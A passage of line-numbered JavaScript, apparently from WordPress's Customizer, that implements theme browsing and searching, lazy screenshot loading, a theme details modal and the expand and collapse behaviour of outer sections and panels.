1984 // Immediately call the complete callback if there were no changes.
1985 if ( args.unchanged ) {
1986 if ( args.completeCallback ) {
1987 args.completeCallback();
1988 }
1989 return;
1990 }
1991
1992 function expand() {
1993
1994 // Try to load controls if none are loaded yet.
1995 if ( 0 === section.loaded ) {
1996 section.loadThemes();
1997 }
1998
1999 // Collapse any sibling sections/panels.
2000 api.section.each( function ( otherSection ) {
2001 var searchTerm;
2002
2003 if ( otherSection !== section ) {
2004
2005 // Try to sync the current search term to the new section.
2006 if ( 'themes' === otherSection.params.type ) {
2007 searchTerm = otherSection.contentContainer.find( '.wp-filter-search' ).val();
2008 section.contentContainer.find( '.wp-filter-search' ).val( searchTerm );
2009
2010 // Directly initialize an empty remote search to avoid a race condition.
2011 if ( '' === searchTerm && '' !== section.term && 'local' !== section.params.filter_type ) {
2012 section.term = '';
2013 section.initializeNewQuery( section.term, section.tags );
2014 } else {
2015 if ( 'remote' === section.params.filter_type ) {
2016 section.checkTerm( section );
2017 } else if ( 'local' === section.params.filter_type ) {
2018 section.filterSearch( searchTerm );
2019 }
2020 }
2021 otherSection.collapse( { duration: args.duration } );
2022 }
2023 }
2024 });
2025
2026 section.contentContainer.addClass( 'current-section' );
2027 container.scrollTop();
2028
2029 container.on( 'scroll', _.throttle( section.renderScreenshots, 300 ) );
2030 container.on( 'scroll', _.throttle( section.loadMore, 300 ) );
2031
2032 if ( args.completeCallback ) {
2033 args.completeCallback();
2034 }
2035 section.updateCount(); // Show this section's count.
2036 }
2037
2038 if ( expanded ) {
2039 if ( section.panel() && api.panel.has( section.panel() ) ) {
2040 api.panel( section.panel() ).expand({
2041 duration: args.duration,
2042 completeCallback: expand
2043 });
2044 } else {
2045 expand();
2046 }
2047 } else {
2048 section.contentContainer.removeClass( 'current-section' );
2049
2050 // Always hide, even if they don't exist or are already hidden.
2051 section.headerContainer.find( '.filter-details' ).slideUp( 180 );
2052
2053 container.off( 'scroll' );
2054
2055 if ( args.completeCallback ) {
2056 args.completeCallback();
2057 }
2058 }
2059 },
2060
2061 /**
2062 * Return the section's content element without detaching from the parent.
2063 *
2064 * @since 4.9.0
2065 *
2066 * @return {jQuery}
2067 */
2068 getContent: function() {
2069 return this.container.find( '.control-section-content' );
2070 },
2071
2072 /**
2073 * Load theme data via Ajax and add themes to the section as controls.
2074 *
2075 * @since 4.9.0
2076 *
2077 * @return {void}
2078 */
2079 loadThemes: function() {
2080 var section = this, params, page, request;
2081
2082 if ( section.loading ) {
2083 return; // We're already loading a batch of themes.
2084 }
2085
2086 // Parameters for every API query. Additional params are set in PHP.
2087 page = Math.ceil( section.loaded / 100 ) + 1;
2088 params = {
2089 'nonce': api.settings.nonce.switch_themes,
2090 'wp_customize': 'on',
2091 'theme_action': section.params.action,
2092 'customized_theme': api.settings.theme.stylesheet,
2093 'page': page
2094 };
2095
2096 // Add fields for remote filtering.
2097 if ( 'remote' === section.params.filter_type ) {
2098 params.search = section.term;
2099 params.tags = section.tags;
2100 }
2101
2102 // Load themes.
2103 section.headContainer.closest( '.wp-full-overlay' ).addClass( 'loading' );
2104 section.loading = true;
2105 section.container.find( '.no-themes' ).hide();
2106 request = wp.ajax.post( 'customize_load_themes', params );
2107 request.done(function( data ) {
2108 var themes = data.themes;
2109
2110 // Stop and try again if the term changed while loading.
2111 if ( '' !== section.nextTerm || '' !== section.nextTags ) {
2112 if ( section.nextTerm ) {
2113 section.term = section.nextTerm;
2114 }
2115 if ( section.nextTags ) {
2116 section.tags = section.nextTags;
2117 }
2118 section.nextTerm = '';
2119 section.nextTags = '';
2120 section.loading = false;
2121 section.loadThemes();
2122 return;
2123 }
2124
2125 if ( 0 !== themes.length ) {
2126
2127 section.loadControls( themes, page );
2128
2129 if ( 1 === page ) {
2130
2131 // Pre-load the first 3 theme screenshots.
2132 _.each( section.controls().slice( 0, 3 ), function( control ) {
2133 var img, src = control.params.theme.screenshot[0];
2134 if ( src ) {
2135 img = new Image();
2136 img.src = src;
2137 }
2138 });
2139 if ( 'local' !== section.params.filter_type ) {
2140 wp.a11y.speak( api.settings.l10n.themeSearchResults.replace( '%d', data.info.results ) );
2141 }
2142 }
2143
2144 _.delay( section.renderScreenshots, 100 ); // Wait for the controls to become visible.
2145
2146 if ( 'local' === section.params.filter_type || 100 > themes.length ) {
2147 // If we have less than the requested 100 themes, it's the end of the list.
2148 section.fullyLoaded = true;
2149 }
2150 } else {
2151 if ( 0 === section.loaded ) {
2152 section.container.find( '.no-themes' ).show();
2153 wp.a11y.speak( section.container.find( '.no-themes' ).text() );
2154 } else {
2155 section.fullyLoaded = true;
2156 }
2157 }
2158 if ( 'local' === section.params.filter_type ) {
2159 section.updateCount(); // Count of visible theme controls.
2160 } else {
2161 section.updateCount( data.info.results ); // Total number of results including pages not yet loaded.
2162 }
2163 section.container.find( '.unexpected-error' ).hide(); // Hide error notice in case it was previously shown.
2164
2165 // This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
2166 section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
2167 section.loading = false;
2168 });
2169 request.fail(function( data ) {
2170 if ( 'undefined' === typeof data ) {
2171 section.container.find( '.unexpected-error' ).show();
2172 wp.a11y.speak( section.container.find( '.unexpected-error' ).text() );
2173 } else if ( 'undefined' !== typeof console && console.error ) {
2174 console.error( data );
2175 }
2176
2177 // This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
2178 section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
2179 section.loading = false;
2180 });
2181 },
2182
2183 /**
2184 * Loads controls into the section from data received from loadThemes().
2185 *
2186 * @since 4.9.0
2187 * @param {Array} themes - Array of theme data to create controls with.
2188 * @param {number} page - Page of results being loaded.
2189 * @return {void}
2190 */
2191 loadControls: function( themes, page ) {
2192 var newThemeControls = [],
2193 section = this;
2194
2195 // Add controls for each theme.
2196 _.each( themes, function( theme ) {
2197 var themeControl = new api.controlConstructor.theme( section.params.action + '_theme_' + theme.id, {
2198 type: 'theme',
2199 section: section.params.id,
2200 theme: theme,
2201 priority: section.loaded + 1
2202 } );
2203
2204 api.control.add( themeControl );
2205 newThemeControls.push( themeControl );
2206 section.loaded = section.loaded + 1;
2207 });
2208
2209 if ( 1 !== page ) {
2210 Array.prototype.push.apply( section.screenshotQueue, newThemeControls ); // Add new themes to the screenshot queue.
2211 }
2212 },
2213
2214 /**
2215 * Determines whether more themes should be loaded, and loads them.
2216 *
2217 * @since 4.9.0
2218 * @return {void}
2219 */
2220 loadMore: function() {
2221 var section = this, container, bottom, threshold;
2222 if ( ! section.fullyLoaded && ! section.loading ) {
2223 container = section.container.closest( '.customize-themes-full-container' );
2224
2225 bottom = container.scrollTop() + container.height();
2226 // Use a fixed distance to the bottom of loaded results to avoid unnecessarily
2227 // loading results sooner when using a percentage of scroll distance.
2228 threshold = container.prop( 'scrollHeight' ) - 3000;
2229
2230 if ( bottom > threshold ) {
2231 section.loadThemes();
2232 }
2233 }
2234 },
2235
2236 /**
2237 * Event handler for search input that filters visible controls.
2238 *
2239 * @since 4.9.0
2240 *
2241 * @param {string} term - The raw search input value.
2242 * @return {void}
2243 */
2244 filterSearch: function( term ) {
2245 var count = 0,
2246 visible = false,
2247 section = this,
2248 noFilter = ( api.section.has( 'wporg_themes' ) && 'remote' !== section.params.filter_type ) ? '.no-themes-local' : '.no-themes',
2249 controls = section.controls(),
2250 terms;
2251
2252 if ( section.loading ) {
2253 return;
2254 }
2255
2256 // Standardize search term format and split into an array of individual words.
2257 terms = term.toLowerCase().trim().replace( /-/g, ' ' ).split( ' ' );
2258
2259 _.each( controls, function( control ) {
2260 visible = control.filter( terms ); // Shows/hides and sorts control based on the applicability of the search term.
2261 if ( visible ) {
2262 count = count + 1;
2263 }
2264 });
2265
2266 if ( 0 === count ) {
2267 section.container.find( noFilter ).show();
2268 wp.a11y.speak( section.container.find( noFilter ).text() );
2269 } else {
2270 section.container.find( noFilter ).hide();
2271 }
2272
2273 section.renderScreenshots();
2274 api.reflowPaneContents();
2275
2276 // Update theme count.
2277 section.updateCountDebounced( count );
2278 },
2279
2280 /**
2281 * Event handler for search input that determines if the terms have changed and loads new controls as needed.
2282 *
2283 * @since 4.9.0
2284 *
2285 * @param {wp.customize.ThemesSection} section - The current theme section, passed through the debouncer.
2286 * @return {void}
2287 */
2288 checkTerm: function( section ) {
2289 var newTerm;
2290 if ( 'remote' === section.params.filter_type ) {
2291 newTerm = section.contentContainer.find( '.wp-filter-search' ).val();
2292 if ( section.term !== newTerm.trim() ) {
2293 section.initializeNewQuery( newTerm, section.tags );
2294 }
2295 }
2296 },
2297
2298 /**
2299 * Check for filters checked in the feature filter list and initialize a new query.
2300 *
2301 * @since 4.9.0
2302 *
2303 * @return {void}
2304 */
2305 filtersChecked: function() {
2306 var section = this,
2307 items = section.container.find( '.filter-group' ).find( ':checkbox' ),
2308 tags = [];
2309
2310 _.each( items.filter( ':checked' ), function( item ) {
2311 tags.push( $( item ).prop( 'value' ) );
2312 });
2313
2314 // When no filters are checked, restore initial state. Update filter count.
2315 if ( 0 === tags.length ) {
2316 tags = '';
2317 section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).show();
2318 section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).hide();
2319 } else {
2320 section.contentContainer.find( '.feature-filter-toggle .theme-filter-count' ).text( tags.length );
2321 section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).hide();
2322 section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).show();
2323 }
2324
2325 // Check whether tags have changed, and either load or queue them.
2326 if ( ! _.isEqual( section.tags, tags ) ) {
2327 if ( section.loading ) {
2328 section.nextTags = tags;
2329 } else {
2330 if ( 'remote' === section.params.filter_type ) {
2331 section.initializeNewQuery( section.term, tags );
2332 } else if ( 'local' === section.params.filter_type ) {
2333 section.filterSearch( tags.join( ' ' ) );
2334 }
2335 }
2336 }
2337 },
2338
2339 /**
2340 * Reset the current query and load new results.
2341 *
2342 * @since 4.9.0
2343 *
2344 * @param {string} newTerm - New term.
2345 * @param {Array} newTags - New tags.
2346 * @return {void}
2347 */
2348 initializeNewQuery: function( newTerm, newTags ) {
2349 var section = this;
2350
2351 // Clear the controls in the section.
2352 _.each( section.controls(), function( control ) {
2353 control.container.remove();
2354 api.control.remove( control.id );
2355 });
2356 section.loaded = 0;
2357 section.fullyLoaded = false;
2358 section.screenshotQueue = null;
2359
2360 // Run a new query, with loadThemes handling paging, etc.
2361 if ( ! section.loading ) {
2362 section.term = newTerm;
2363 section.tags = newTags;
2364 section.loadThemes();
2365 } else {
2366 section.nextTerm = newTerm; // This will reload from loadThemes() with the newest term once the current batch is loaded.
2367 section.nextTags = newTags; // This will reload from loadThemes() with the newest tags once the current batch is loaded.
2368 }
2369 if ( ! section.expanded() ) {
2370 section.expand(); // Expand the section if it isn't expanded.
2371 }
2372 },
2373
2374 /**
2375 * Render control's screenshot if the control comes into view.
2376 *
2377 * @since 4.2.0
2378 *
2379 * @return {void}
2380 */
2381 renderScreenshots: function() {
2382 var section = this;
2383
2384 // Fill queue initially, or check for more if empty.
2385 if ( null === section.screenshotQueue || 0 === section.screenshotQueue.length ) {
2386
2387 // Add controls that haven't had their screenshots rendered.
2388 section.screenshotQueue = _.filter( section.controls(), function( control ) {
2389 return ! control.screenshotRendered;
2390 });
2391 }
2392
2393 // Are all screenshots rendered (for now)?
2394 if ( ! section.screenshotQueue.length ) {
2395 return;
2396 }
2397
2398 section.screenshotQueue = _.filter( section.screenshotQueue, function( control ) {
2399 var $imageWrapper = control.container.find( '.theme-screenshot' ),
2400 $image = $imageWrapper.find( 'img' );
2401
2402 if ( ! $image.length ) {
2403 return false;
2404 }
2405
2406 if ( $image.is( ':hidden' ) ) {
2407 return true;
2408 }
2409
2410 // Based on unveil.js.
2411 var wt = section.$window.scrollTop(),
2412 wb = wt + section.$window.height(),
2413 et = $image.offset().top,
2414 ih = $imageWrapper.height(),
2415 eb = et + ih,
2416 threshold = ih * 3,
2417 inView = eb >= wt - threshold && et <= wb + threshold;
2418
2419 if ( inView ) {
2420 control.container.trigger( 'render-screenshot' );
2421 }
2422
2423 // If the image is in view return false so it's cleared from the queue.
2424 return ! inView;
2425 } );
2426 },
2427
2428 /**
2429 * Get visible count.
2430 *
2431 * @since 4.9.0
2432 *
2433 * @return {number} Visible count.
2434 */
2435 getVisibleCount: function() {
2436 return this.contentContainer.find( 'li.customize-control:visible' ).length;
2437 },
2438
2439 /**
2440 * Update the number of themes in the section.
2441 *
2442 * @since 4.9.0
2443 *
2444 * @return {void}
2445 */
2446 updateCount: function( count ) {
2447 var section = this, countEl, displayed;
2448
2449 if ( ! count && 0 !== count ) {
2450 count = section.getVisibleCount();
2451 }
2452
2453 displayed = section.contentContainer.find( '.themes-displayed' );
2454 countEl = section.contentContainer.find( '.theme-count' );
2455
2456 if ( 0 === count ) {
2457 countEl.text( '0' );
2458 } else {
2459
2460 // Animate the count change for emphasis.
2461 displayed.fadeOut( 180, function() {
2462 countEl.text( count );
2463 displayed.fadeIn( 180 );
2464 } );
2465 wp.a11y.speak( api.settings.l10n.announceThemeCount.replace( '%d', count ) );
2466 }
2467 },
2468
2469 /**
2470 * Advance the modal to the next theme.
2471 *
2472 * @since 4.2.0
2473 *
2474 * @return {void}
2475 */
2476 nextTheme: function () {
2477 var section = this;
2478 if ( section.getNextTheme() ) {
2479 section.showDetails( section.getNextTheme(), function() {
2480 section.overlay.find( '.right' ).focus();
2481 } );
2482 }
2483 },
2484
2485 /**
2486 * Get the next theme model.
2487 *
2488 * @since 4.2.0
2489 *
2490 * @return {wp.customize.ThemeControl|boolean} Next theme.
2491 */
2492 getNextTheme: function () {
2493 var section = this, control, nextControl, sectionControls, i;
2494 control = api.control( section.params.action + '_theme_' + section.currentTheme );
2495 sectionControls = section.controls();
2496 i = _.indexOf( sectionControls, control );
2497 if ( -1 === i ) {
2498 return false;
2499 }
2500
2501 nextControl = sectionControls[ i + 1 ];
2502 if ( ! nextControl ) {
2503 return false;
2504 }
2505 return nextControl.params.theme;
2506 },
2507
2508 /**
2509 * Advance the modal to the previous theme.
2510 *
2511 * @since 4.2.0
2512 * @return {void}
2513 */
2514 previousTheme: function () {
2515 var section = this;
2516 if ( section.getPreviousTheme() ) {
2517 section.showDetails( section.getPreviousTheme(), function() {
2518 section.overlay.find( '.left' ).focus();
2519 } );
2520 }
2521 },
2522
2523 /**
2524 * Get the previous theme model.
2525 *
2526 * @since 4.2.0
2527 * @return {wp.customize.ThemeControl|boolean} Previous theme.
2528 */
2529 getPreviousTheme: function () {
2530 var section = this, control, nextControl, sectionControls, i;
2531 control = api.control( section.params.action + '_theme_' + section.currentTheme );
2532 sectionControls = section.controls();
2533 i = _.indexOf( sectionControls, control );
2534 if ( -1 === i ) {
2535 return false;
2536 }
2537
2538 nextControl = sectionControls[ i - 1 ];
2539 if ( ! nextControl ) {
2540 return false;
2541 }
2542 return nextControl.params.theme;
2543 },
2544
2545 /**
2546 * Disable buttons when we're viewing the first or last theme.
2547 *
2548 * @since 4.2.0
2549 *
2550 * @return {void}
2551 */
2552 updateLimits: function () {
2553 if ( ! this.getNextTheme() ) {
2554 this.overlay.find( '.right' ).addClass( 'disabled' );
2555 }
2556 if ( ! this.getPreviousTheme() ) {
2557 this.overlay.find( '.left' ).addClass( 'disabled' );
2558 }
2559 },
2560
2561 /**
2562 * Load theme preview.
2563 *
2564 * @since 4.7.0
2565 * @access public
2566 *
2567 * @deprecated
2568 * @param {string} themeId Theme ID.
2569 * @return {jQuery.promise} Promise.
2570 */
2571 loadThemePreview: function( themeId ) {
2572 return api.ThemesPanel.prototype.loadThemePreview.call( this, themeId );
2573 },
2574
2575 /**
2576 * Render & show the theme details for a given theme model.
2577 *
2578 * @since 4.2.0
2579 *
2580 * @param {Object} theme - Theme.
2581 * @param {Function} [callback] - Callback once the details have been shown.
2582 * @return {void}
2583 */
2584 showDetails: function ( theme, callback ) {
2585 var section = this, panel = api.panel( 'themes' );
2586 section.currentTheme = theme.id;
2587 section.overlay.html( section.template( theme ) )
2588 .fadeIn( 'fast' )
2589 .focus();
2590
2591 function disableSwitchButtons() {
2592 return ! panel.canSwitchTheme( theme.id );
2593 }
2594
2595 // Temporary special function since supplying SFTP credentials does not work yet. See #42184.
2596 function disableInstallButtons() {
2597 return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
2598 }
2599
2600 section.overlay.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
2601 section.overlay.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
2602
2603 section.$body.addClass( 'modal-open' );
2604 section.containFocus( section.overlay );
2605 section.updateLimits();
2606 wp.a11y.speak( api.settings.l10n.announceThemeDetails.replace( '%s', theme.name ) );
2607 if ( callback ) {
2608 callback();
2609 }
2610 },
2611
2612 /**
2613 * Close the theme details modal.
2614 *
2615 * @since 4.2.0
2616 *
2617 * @return {void}
2618 */
2619 closeDetails: function () {
2620 var section = this;
2621 section.$body.removeClass( 'modal-open' );
2622 section.overlay.fadeOut( 'fast' );
2623 api.control( section.params.action + '_theme_' + section.currentTheme ).container.find( '.theme' ).focus();
2624 },
2625
2626 /**
2627 * Keep tab focus within the theme details modal.
2628 *
2629 * @since 4.2.0
2630 *
2631 * @param {jQuery} el - Element to contain focus.
2632 * @return {void}
2633 */
2634 containFocus: function( el ) {
2635 var tabbables;
2636
2637 el.on( 'keydown', function( event ) {
2638
2639 // Return if it's not the tab key
2640 // When navigating with prev/next focus is already handled.
2641 if ( 9 !== event.keyCode ) {
2642 return;
2643 }
2644
2645 // Uses jQuery UI to get the tabbable elements.
2646 tabbables = $( ':tabbable', el );
2647
2648 // Keep focus within the overlay.
2649 if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
2650 tabbables.first().focus();
2651 return false;
2652 } else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
2653 tabbables.last().focus();
2654 return false;
2655 }
2656 });
2657 }
2658 });
2659
2660 api.OuterSection = api.Section.extend(/** @lends wp.customize.OuterSection.prototype */{
2661
2662 /**
2663 * Class wp.customize.OuterSection.
2664 *
2665 * Creates section outside of the sidebar, there is no ui to trigger collapse/expand so
2666 * it would require custom handling.
2667 *
2668 * @constructs wp.customize.OuterSection
2669 * @augments wp.customize.Section
2670 *
2671 * @since 4.9.0
2672 *
2673 * @return {void}
2674 */
2675 initialize: function() {
2676 var section = this;
2677 section.containerParent = '#customize-outer-theme-controls';
2678 section.containerPaneParent = '.customize-outer-pane-parent';
2679 api.Section.prototype.initialize.apply( section, arguments );
2680 },
2681
2682 /**
2683 * Overrides api.Section.prototype.onChangeExpanded to prevent collapse/expand effect
2684 * on other sections and panels.
2685 *
2686 * @since 4.9.0
2687 *
2688 * @param {boolean} expanded - The expanded state to transition to.
2689 * @param {Object} [args] - Args.
2690 * @param {boolean} [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
2691 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
2692 * @param {Object} [args.duration] - The duration for the animation.
2693 */
2694 onChangeExpanded: function( expanded, args ) {
2695 var section = this,
2696 container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
2697 content = section.contentContainer,
2698 backBtn = content.find( '.customize-section-back' ),
2699 sectionTitle = section.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).first(),
2700 body = $( document.body ),
2701 expand, panel;
2702
2703 body.toggleClass( 'outer-section-open', expanded );
2704 section.container.toggleClass( 'open', expanded );
2705 section.container.removeClass( 'busy' );
2706 api.section.each( function( _section ) {
2707 if ( 'outer' === _section.params.type && _section.id !== section.id ) {
2708 _section.container.removeClass( 'open' );
2709 }
2710 } );
2711
2712 if ( expanded && ! content.hasClass( 'open' ) ) {
2713
2714 if ( args.unchanged ) {
2715 expand = args.completeCallback;
2716 } else {
2717 expand = function() {
2718 section._animateChangeExpanded( function() {
2719 backBtn.attr( 'tabindex', '0' );
2720 backBtn.trigger( 'focus' );
2721 content.css( 'top', '' );
2722 container.scrollTop( 0 );
2723
2724 if ( args.completeCallback ) {
2725 args.completeCallback();
2726 }
2727 } );
2728
2729 content.addClass( 'open' );
2730 }.bind( this );
2731 }
2732
2733 if ( section.panel() ) {
2734 api.panel( section.panel() ).expand({
2735 duration: args.duration,
2736 completeCallback: expand
2737 });
2738 } else {
2739 expand();
2740 }
2741
2742 } else if ( ! expanded && content.hasClass( 'open' ) ) {
2743 if ( section.panel() ) {
2744 panel = api.panel( section.panel() );
2745 if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
2746 panel.collapse();
2747 }
2748 }
2749 section._animateChangeExpanded( function() {
2750 backBtn.attr( 'tabindex', '-1' );
2751 sectionTitle.trigger( 'focus' );
2752 content.css( 'top', '' );
2753
2754 if ( args.completeCallback ) {
2755 args.completeCallback();
2756 }
2757 } );
2758
2759 content.removeClass( 'open' );
2760
2761 } else {
2762 if ( args.completeCallback ) {
2763 args.completeCallback();
2764 }
2765 }
2766 }
2767 });
2768
2769 api.Panel = Container.extend(/** @lends wp.customize.Panel.prototype */{
2770 containerType: 'panel',
2771
2772 /**
2773 * @constructs wp.customize.Panel
2774 * @augments wp.customize~Container
2775 *
2776 * @since 4.1.0
2777 *
2778 * @param {string} id - The ID for the panel.
2779 * @param {Object} options - Object containing one property: params.
2780 * @param {string} options.title - Title shown when panel is collapsed and expanded.
2781 * @param {string} [options.description] - Description shown at the top of the panel.
2782 * @param {number} [options.priority=100] - The sort priority for the panel.
2783 * @param {string} [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
2784 * @param {string} [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
2785 * @param {boolean} [options.active=true] - Whether the panel is active or not.
2786 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
2787 */
2788 initialize: function ( id, options ) {
2789 var panel = this, params;
2790 params = options.params || options;
2791
2792 // Look up the type if one was not supplied.
2793 if ( ! params.type ) {
2794 _.find( api.panelConstructor, function( Constructor, type ) {
2795 if ( Constructor === panel.constructor ) {
2796 params.type = type;
2797 return true;
2798 }
2799 return false;
2800 } );
2801 }
2802
2803 Container.prototype.initialize.call( panel, id, params );
2804
2805 panel.embed();
2806 panel.deferred.embedded.done( function () {
2807 panel.ready();
2808 });
2809 },
2810
2811 /**
2812 * Embed the container in the DOM when any parent panel is ready.
2813 *
2814 * @since 4.1.0
2815 */
2816 embed: function () {
2817 var panel = this,
2818 container = $( '#customize-theme-controls' ),
2819 parentContainer = $( '.customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.
2820
2821 if ( ! panel.headContainer.parent().is( parentContainer ) ) {
2822 parentContainer.append( panel.headContainer );
2823 }
2824 if ( ! panel.contentContainer.parent().is( panel.headContainer ) ) {
2825 container.append( panel.contentContainer );
2826 }
2827 panel.renderContent();
2828
2829 panel.deferred.embedded.resolve();
2830 },
2831
2832 /**
2833 * @since 4.1.0
2834 */
2835 attachEvents: function () {
2836 var meta, panel = this;
2837
2838 // Expand/Collapse accordion sections on click.
2839 panel.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).on( 'click keydown', function( event ) {
2840 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
2841 return;
2842 }
2843 event.preventDefault(); // Keep this AFTER the key filter above.
2844
2845 if ( ! panel.expanded() ) {
2846 panel.expand();
2847 }
2848 });
2849
2850 // Close panel.
2851 panel.container.find( '.customize-panel-back' ).on( 'click keydown', function( event ) {
2852 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
2853 return;
2854 }
2855 event.preventDefault(); // Keep this AFTER the key filter above.
2856
2857 if ( panel.expanded() ) {
2858 panel.collapse();
2859 }
2860 });
2861
2862 meta = panel.container.find( '.panel-meta:first' );
2863
2864 meta.find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
2865 if ( meta.hasClass( 'cannot-expand' ) ) {
2866 return;
2867 }
2868
2869 var content = meta.find( '.customize-panel-description:first' );
2870 if ( meta.hasClass( 'open' ) ) {
2871 meta.toggleClass( 'open' );
2872 content.slideUp( panel.defaultExpandedArguments.duration, function() {
2873 content.trigger( 'toggled' );
2874 } );
2875 $( this ).attr( 'aria-expanded', false );
2876 } else {
2877 content.slideDown( panel.defaultExpandedArguments.duration, function() {
2878 content.trigger( 'toggled' );
2879 } );
2880 meta.toggleClass( 'open' );
2881 $( this ).attr( 'aria-expanded', true );
2882 }
2883 });
2884
2885 },
2886
2887 /**
2888 * Get the sections that are associated with this panel, sorted by their priority Value.
2889 *
2890 * @since 4.1.0
2891 *
2892 * @return {Array}
2893 */
2894 sections: function () {
2895 return this._children( 'panel', 'section' );
2896 },
2897
2898 /**
2899 * Return whether this panel has any active sections.
2900 *
2901 * @since 4.1.0
2902 *
2903 * @return {boolean} Whether contextually active.
2904 */
2905 isContextuallyActive: function () {
2906 var panel = this,
2907 sections = panel.sections(),
2908 activeCount = 0;
2909 _( sections ).each( function ( section ) {
2910 if ( section.active() && section.isContextuallyActive() ) {
2911 activeCount += 1;
2912 }
2913 } );
2914 return ( activeCount !== 0 );
2915 },
2916
2917 /**
2918 * Update UI to reflect expanded state.
2919 *
2920 * @since 4.1.0
2921 *
2922 * @param {boolean} expanded
2923 * @param {Object} args
2924 * @param {boolean} args.unchanged
2925 * @param {Function} args.completeCallback
2926 * @return {void}
2927 */
2928 onChangeExpanded: function ( expanded, args ) {
2929
2930 // Immediately call the complete callback if there were no changes.
2931 if ( args.unchanged ) {
2932 if ( args.completeCallback ) {
2933 args.completeCallback();
2934 }
2935 return;
2936 }
2937
2938 // Note: there is a second argument 'args' passed.
2939 var panel = this,
2940 accordionSection = panel.contentContainer,
2941 overlay = accordionSection.closest( '.wp-full-overlay' ),
2942 container = accordionSection.closest( '.wp-full-overlay-sidebar-content' ),
2943 topPanel = panel.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ),
2944 backBtn = accordionSection.find( '.customize-panel-back' ),
2945 childSections = panel.sections(),
2946 skipTransition;
2947
2948 if ( expanded && ! accordionSection.hasClass( 'current-panel' ) ) {
2949 // Collapse any sibling sections/panels.
2950 api.section.each( function ( section ) {
2951 if ( panel.id !== section.panel() ) {
2952 section.collapse( { duration: 0 } );
2953 }
2954 });
2955 api.panel.each( function ( otherPanel ) {
2956 if ( panel !== otherPanel ) {
2957 otherPanel.collapse( { duration: 0 } );
2958 }
2959 });
2960
2961 if ( panel.params.autoExpandSoleSection && 1 === childSections.length && childSections[0].active.get() ) {
2962 accordionSection.addClass( 'current-panel skip-transition' );
2963 overlay.addClass( 'in-sub-panel' );
2964
2965 childSections[0].expand( {
2966 completeCallback: args.completeCallback
2967 } );
2968 } else {
2969 panel._animateChangeExpanded( function() {
2970 backBtn.attr( 'tabindex', '0' );
2971 backBtn.trigger( 'focus' );
2972 accordionSection.css( 'top', '' );
2973 container.scrollTop( 0 );
2974
2975 if ( args.completeCallback ) {
2976 args.completeCallback();
2977 }
2978 } );
2979
2980 accordionSection.addClass( 'current-panel' );
2981 overlay.addClass( 'in-sub-panel' );
2982 }
2983
2984 api.state( 'expandedPanel' ).set( panel );
2985
2986 } else if ( ! expanded && accordionSection.hasClass( 'current-panel' ) ) {
2987 skipTransition = accordionSection.hasClass( 'skip-transition' );
2988 if ( ! skipTransition ) {
2989 panel._animateChangeExpanded( function() {
2990
2991 topPanel.focus();
2992 accordionSection.css( 'top', '' );
2993
2994 if ( args.completeCallback ) {
2995 args.completeCallback();
2996 }
2997 } );
2998 } else {
2999 accordionSection.removeClass( 'skip-transition' );
3000 }
3001
3002 overlay.removeClass( 'in-sub-panel' );
3003 accordionSection.removeClass( 'current-panel' );
3004 if ( panel === api.state( 'expandedPanel' ).get() ) {
3005 api.state( 'expandedPanel' ).set( false );
3006 }
3007 }
3008 },
3009
3010 /**
3011 * Render the panel from its JS template, if it exists.
3012 *
3013 * The panel's container must already exist in the DOM.
3014 *
3015 * @since 4.3.0
3016 */
3017 renderContent: function () {
3018 var template,
3019 panel = this;
3020
3021 // Add the content to the container.
3022 if ( 0 !== $( '#tmpl-' + panel.templateSelector + '-content' ).length ) {
3023 template = wp.template( panel.templateSelector + '-content' );
3024 } else {
3025 template = wp.template( 'customize-panel-default-content' );
3026 }
3027 if ( template && panel.headContainer ) {
3028 panel.contentContainer.html( template( _.extend(
3029 { id: panel.id },
3030 panel.params
3031 ) ) );
3032 }
3033 }
3034 });
3035
3036 api.ThemesPanel = api.Panel.extend(/** @lends wp.customize.ThemsPanel.prototype */{
3037
3038 /**
3039 * Class wp.customize.ThemesPanel.
3040 *
3041 * Custom section for themes that displays without the customize preview.
3042 *
3043 * @constructs wp.customize.ThemesPanel
3044 * @augments wp.customize.Panel
3045 *
3046 * @since 4.9.0
3047 *
3048 * @param {string} id - The ID for the panel.
3049 * @param {Object} options - Options.
3050 * @return {void}
3051 */
3052 initialize: function( id, options ) {
3053 var panel = this;
3054 panel.installingThemes = [];
3055 api.Panel.prototype.initialize.call( panel, id, options );
3056 },
3057
3058 /**
3059 * Determine whether a given theme can be switched to, or in general.
3060 *
3061 * @since 4.9.0
3062 *
3063 * @param {string} [slug] - Theme slug.
3064 * @return {boolean} Whether the theme can be switched to.
3065 */
3066 canSwitchTheme: function canSwitchTheme( slug ) {
3067 if ( slug && slug === api.settings.theme.stylesheet ) {
3068 return true;
3069 }
3070 return 'publish' === api.state( 'selectedChangesetStatus' ).get() && ( '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get() );
3071 },
3072
3073 /**
3074 * Attach events.
3075 *
3076 * @since 4.9.0
3077 * @return {void}
3078 */
